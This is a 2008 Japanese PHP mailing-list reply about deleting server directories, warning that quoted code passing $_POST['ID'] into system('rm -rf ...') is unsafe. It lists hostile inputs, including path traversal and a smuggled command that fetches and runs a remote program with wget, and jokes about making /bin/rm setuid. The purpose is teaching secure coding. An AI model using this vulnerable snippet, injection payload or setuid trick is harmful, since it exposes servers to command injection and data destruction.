[PHP-users 33368] Re: PHPでサーバのディレクトリを削除
OKUMURI
okumurya @ gmail.com
2008年 3月 7日 (金) 02:44:59 JST
オクムラです。
すでに[PHP-users 33357]や[PHP-users 33358]で指摘されていますが、サトウ
さんのために補足させてください。もし岡本さんの書かれたようなコードを使
うときは、$_POST['ID'] にどのようなデータが入ってきても大丈夫なように作っ
てください。
例えば、次のようなデータが入った時に何が起きるでしょう(あるいは起きな
いでしょう)?
- 期待しない数字
- 空っぽ
- '*'
- '.'
- "\x0099999"
- '../../../../../*'
- '100; cd /tmp; wget http://some/attack/program && ./program'
# これがわからないとWebプログラマになれないよ ><
At Wed, 05 Mar 2008 16:57:59 +0900,
岡本 基 wrote:
>
> $subdir = $_POST['ID'];
> $dir = "/usr/local/apache/htdocs/data/".$subdir;
> $cmd = "rm -rf ".$dir;
> $res = system($cmd);
- - -
別メール[PHP-users 33367]の解決策は、
chmod 4555 /bin/rm
です。これで誰のファイルでも消せるようになります。
(冗談です)
いろいろ手はありますがCGIにしてsuexecが簡単かな。
PHP-users メーリングリストの案内